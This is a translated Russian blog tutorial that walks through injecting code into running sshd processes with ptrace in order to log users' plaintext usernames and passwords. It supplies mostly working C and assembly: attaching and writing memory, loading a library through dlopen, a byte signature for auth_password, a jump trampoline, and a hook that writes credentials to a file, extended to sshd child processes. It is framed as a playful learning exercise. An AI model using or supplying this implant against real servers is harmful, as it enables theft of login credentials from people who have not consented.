Главная » Хабрахабр » [Перевод] Введение в ptrace или инъекция кода в sshd ради веселья

[Перевод] Введение в ptrace или инъекция кода в sshd ради веселья

Конечно, это несколько искусственная задача, так как есть множество других, более эффективных, способов достичь желаемого (и с гораздо меньшей вероятностью получить SEGV), однако, мне показалось клёвым сделать именно так.
Цель, которой я задался, была весьма проста: узнать введённый в sshd пароль, используя ptrace.

Те, кто знаком с инъекциями в Windows, наверняка знают функции VirtualAllocEx(), WriteProcessMemory(), ReadProcessMemory() и CreateRemoteThread(). Эти вызовы позволяют выделять память и запускать потоки в другом процессе. В мире linux ядро предоставляет нам ptrace, благодаря которому отладчики могут взаимодействовать с запущенным процессом.

Ptrace предлагает несколько полезных для отладки операций, например:

  • PTRACE_ATTACH — позволяет присоединиться к одному процессу, поставив на паузу отлаживаемый процесс
  • PTRACE_PEEKTEXT — позволяет прочитать данные из адресного пространства другого процесса
  • PTRACE_POKETEXT — позволяет записать данные в адресное пространство другого процесса
  • PTRACE_GETREGS — читает текущее состояние регистров процесса
  • PTRACE_SETREGS — записывает состояние регистров процесса
  • PTRACE_CONT — продолжает выполнение отлаживаемого процесса

Хотя это неполный список возможностей ptrace, однако, я столкнулся с трудностями из-за отсутствия знакомых мне из Win32 функций. Например, в Windows можно выделить память в другом процессе с помощью функции VirtualAllocEx(), которая возвращает тебе указатель на свежевыделенную память. Так как в ptrace такого не существует, придётся импровизировать, если хочется внедрить свой код в другой процесс.

Ну что ж, давайте подумаем о том, как захватить управление над процессом с помощью ptrace.

Первое, что мы должны сделать — присоединиться к интересующему нас процессу. Чтобы сделать это, достаточно вызывать ptrace с параметром PTRACE_ATTACH:

ptrace(PTRACE_ATTACH, pid, NULL, NULL);

Этот вызов прост как пробка, он принимает PID процесса, к которому мы хотим присоединиться. Когда происходит вызов, отправляется сигнал SIGSTOP, который вынуждает интересующий процесс остановиться.

Это позволит нам восстановить работу программы позже: После присоединения есть повод сохранить состояние всех регистров прежде, чем мы начнём что-то изменять.

struct user_regs_struct oldregs;
ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);

Далее необходимо найти место, куда мы сможем записать наш код. Самый простой способ — извлечь информацию из файла maps, который можно найти в procfs для каждого процесса. Например, "/proc/PID/maps" у запущенного процесса sshd на Ubuntu выглядит так:

Сразу, как найдём подходящую нам область, по аналогии с регистрами, сохраним содержимое, чтобы потом корректно восстановить работу: Нам необходимо найти область памяти, выделенную с правом на выполнение (скорее всего «r-xp»).

ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);

С помощью ptrace можно читать по одному машинному слову данных (32 бита на х86 или 64 бита на х86_64) по указанному адресу, то есть для чтения бо́льшего количества данных необходимо совершить несколько вызовов, увеличивая адрес.

Однако, в этой статье я буду придерживаться использования ptrace. Примечание: в linux так же есть process_vm_readv() и process_vm_writev() для работы с адресным пространством другого процесса. При желании сделать что-то своё, лучше прочитать об этих функциях.

Теперь, когда мы сделали резервную копию понравившейся нам области памяти, мы можем начать перезапись:

ptrace(PTRACE_POKETEXT, pid, addr, word);

Аналогично PTRACE_PEEKTEXT, этот вызов может записывать только по одному машинному слову за раз по указанному адресу. Так же, для записи больше одного машинного слова потребуется множество вызовов.

Чтобы не перезаписывать данные в памяти (например, стек), мы будем использовать сохранённые ранее регистры: После загрузки своего кода необходимо передать ему управление.

struct user_regs_struct r;
memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code
regs.rip = addr_of_injected_code;
ptrace(PTRACE_SETREGS, pid, NULL, &r);

Наконец, мы можем продолжить выполнение с помощью PTRACE_CONT:

ptrace(PTRACE_CONT, pid, NULL, NULL);

Но как мы узнаем, что наш код закончил выполнение? Мы будем использовать программное прерывание, так же известное как инструкция «int 0x03», генерирующее SIGTRAP. Мы будем ждать этого с помощью waitpid():

waitpid(pid, &status, WUNTRACED);

waitpid() — блокирующий вызов, который дождётся остановки процесса с идентификатором PID и запишет причину остановки в переменную status. Здесь очень кстати есть куча макросов, которые упростят жизнь в выяснении причины остановки.

Чтобы узнать, была ли остановка из-за SIGTRAP (по причине вызова int 0x03), мы можем сделать так:

waitpid(pid, &status, WUNTRACED);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n");
}

Восстановим все регистры: В этот момент наш встроенный код уже выполнился и всё, что нам требуется — восстановить исходное состояние процесса.

ptrace(PTRACE_SETREGS, pid, NULL, &origregs);

Затем вернём оригинальные данные в памяти:

ptrace(PTRACE_POKETEXT, pid, addr, word);

И отсоединимся от процесса:

ptrace(PTRACE_DETACH, pid, NULL, NULL);

На этом хватит теории. Двинемся к более интересной части.
Я должен предупредить, что есть некоторая вероятность уронить sshd, так что будьте осторожны и, пожалуйста, не пытайтесь проверять это на рабочей системе и тем более, на удалённой системе через SSH 😀

Более того, есть несколько более хороших способов достичь того же результата, я демонстрирую именно этот исключительно в качестве весёлого способа показать мощь ptrace (согласитесь, это круче инъекции в Hello World 😉

При просмотре исходного кода мы можем видеть что-то такое: Единственное, что я хотел сделать — это получить комбинацию логин-пароль из запущенного sshd, когда пользователь проходит аутентификацию.

auth-passwd.c

/* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password)

Это выглядит, как отличное место для попытки изъять логин/пароль, переданные пользователем в открытом виде.

Я использую мою любимую утилиту для дизасемблирования, radare2: Нам хочется найти сигнатуру функции, которая позволит нам найти её [функцию] в памяти.

Для этого мы воспользуемся поиском в radare2: Необходимо найти последовательность байт, которая уникальна и встречается только в функции auth_password.

Так случилось, что последовательность xor rdx, rdx; cmp rax, 0x400 подходит под наши требования и встречается всего один раз во всём ELF-файле.

(в версии 7. В качестве примечания… Если у вас нет этой последовательности, убедитесь, что у вас самая новая версия, которая так же закрывает уязвимость середины 2016. 6 такая последовательность так же есть и уникальна — прим.пер.)

Следующий шаг — инъекция кода.

Для загрузки нашего кода в sshd мы сделаем небольшую заглушку, которая позволит нам вызывать dlopen() и загрузить динамическую библиотеку, которая уже осуществит подмену «auth_password».

Эта функция находится в libdl.so, которая динамически линкуется к приложению. dlopen() — вызов для динамической линковки, который принимает в аргументах путь до динамической библиотеки и загружает её в адресное пространство вызывающего процесса.

Однако, из-за ASLR очень маловероятно, что dlopen() будет в одном и том же месте каждый раз, так что придётся найти её адрес в памяти sshd. К счастью, в нашем случае libdl.so уже загружена в sshd, так что нам остаётся только выполнить dlopen().

Для того, чтобы найти адрес функции, нужно посчитать смещение — разность между адресом функции dlopen() и начальным адресом libdl.so:

unsigned long long libdlAddr, dlopenAddr;
libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY);
dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen");
printf("Offset: %llx\n", dlopenAddr - libdlAddr);

Теперь, когда мы посчитали смещение, нужно найти начальный адрес libdl.so из maps-файла:

Зная базовый адрес libdl.so в sshd (0x7f0490a0d000, как следует из скриншота выше), мы можем добавить смещение и получить адрес dlopen(), чтобы вызывать из кода-инъекции.

Все необходимые адреса передадим через регистры с помощью PTRACE_SETREGS.

Так же необходимо записать путь до вживляемой библиотеки в адресное пространство sshd, например:

void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } }
} ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16)

Делая как можно во время подготовки инъекции и загружая указатели на аргументы прямо в регистры, мы можем сделать код-инъекцию проще. Например:

// Update RIP to point to our code, which will be just after // our injected library name string
regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen()
regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string
regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call
regs.rsi = 2; // RTLD_LAZY // Update the target process registers
ptrace(PTRACE_SETREGS, pid, NULL, &regs);

То есть, код-инъекция весьма прост:

; RSI set as value '2' (RTLD_LAZY)
; RDI set as char* to shared library path
; RAX contains the address of dlopen
call rax
int 0x03

Настало время создать нашу динамическую библиотеку, которая будет загружена кодом-инъекцией.

Прежде, чем мы двинемся дальше, рассмотрим одну важную вещь, которая будет использована… Конструктор динамической библиотеки.

Динамические библиотеки могут выполнять код при загрузке. Для этого необходимо пометить функции декоратором "__attribute__((constructor))". Например:

#include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n");
}

Скопилировать можно простой командой:

gcc -o test.so --shared -fPIC test.c

А затем проверить работоспособность:

dlopen("./test.so", RTLD_LAZY);

Когда библиотека загрузится, конструктор так же вызовется:

Мы так же используем эту функциональность, чтобы сделать нашу жизнь проще при инъекции кода в адресное пространство другого процесса.

Теперь, когда у нас есть возможность загрузить нашу динамическую библиотеку, нужно создать код, который изменит поведение auth_password() во времени выполнения.

Мы ищем область с правами «r-x», в которой мы будем искать уникальную последовательность в auth_password(): Когда наша динамическая библиотека загружена, мы можем найти начальный адрес sshd с помощью файла "/proc/self/maps" в procfs.

d = fopen("/proc/self/maps", "r");
while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "r-x")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; }
}

Раз у нас есть диапазон адресов для поиска, ищем функцию:

const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00";
while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++;
}

Когда у нас нашлось совпадение, необходимо использовать mprotect(), чтобы изменить права на доступ к области памяти. Это всё потому что область памяти доступна на чтение и выполнение, а для изменения на ходу требуются права на запись:

mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)

Отлично, у нас есть право на запись в нужную область памяти и теперь настало время добавить в начале функции auth_password небольшой трамплин, который передаст управление в хук:

char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0";

Это эквивалентно такому коду:

mov rax, 0x4142434445464748
jmp rax

Конечно, адрес 0x4142434445464748 нам не подходим и он будет заменён на адрес нашего хука:

*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;

Теперь мы можем просто вставить наш трамплин в sshd. Чтобы инъекция была красивой и чистой, вставим трамплин в самое начало функции:

// Step back to the start of the function, which is 32 bytes // before our signature
ptr -= 32;
memcpy(ptr, jmphook, sizeof(jmphook));

Теперь мы должны реализовать хук, который будет заниматься логгированием проходящих данных. Мы должны быть уверены, что сохранили все регистры до начала хука и восстановили перед возвращением к оригинальному коду:

Исходный код хука

// Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function
void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsi\n" "push %rdi\n" "push %rax\n" "push %rbx\n" "push %rcx\n" "push %rdx\n" "push %r8\n" "push %r9\n" "push %r10\n" "push %r11\n" "push %r12\n" "push %rbp\n" "push %rsp\n" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rsp\n" "pop %rbp\n" "pop %r12\n" "pop %r11\n" "pop %r10\n" "pop %r9\n" "pop %r8\n" "pop %rdx\n" "pop %rcx\n" "pop %rbx\n" "pop %rax\n" "pop %rdi\n" "pop %rsi\n" ); // Recover from the function prologue asm("mov %rbp, %rsp\n" "pop %rbp\n" ); ...

Ну и это всё… в каком-то смысле…

Даже если инъекция кода в sshd удалась, можно заметить, что искомые пользовательские пароли всё ещё недоступны. К сожалению, после всего проделанного, это ещё не всё. Именно новый ребёнок обрабатывает подключение и именно в него мы должны установить хук. Это связано с тем, что sshd на каждое соединение создает нового ребёнка.

Как только находится такой процесс, инжектор запускается и для него. Чтобы быть уверенным, что мы работает с детьми sshd, я решил сканировать procfs на stats файлы, в которых указан Parent PID sshd.

Если всё пойдёт не по плану и код-инъекция упадёт с SIGSEGV, будет убит только процесс одного пользователя, а не родительский процесс sshd. В этом есть даже свои плюсы. Не самое большое утешение, но оно явно делает отладку проще.

Окей, давай посмотрим демо:

Полный код можно найти здесь.

Надеюсь, это путешествие подарило тебе достаточно информации для того, чтобы потыкать ptrace самостоятельно.

Хочу поблагодарить следующих людей и сайты, которые помогли разобраться с ptrace:


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

Зачем программисту стажировка на кухне — разговор с «Додо пиццей» про гембу, .NET и открытость

Бизнес компании оплетен сетью технологичных сервисов, о своей истории они написали книгу, стек технологий и архитектура системы расписаны прямо на сайте, в паре кликов от главной страницы. Про «Додо пиццу» уже известно много. Даже самые неприятные факапы они спокойно и ...

[Перевод] Профилирование кода с LLVM

Проклятие недетерминизма Моя первая попытка написать проход LLVM — люблю эти сегфолты Под словом «детерминированный» я подразумеваю, что один и тот же код будет выполняться за одно и то же количество единиц времени. Недавно я столкнулся с интересной задачей — ...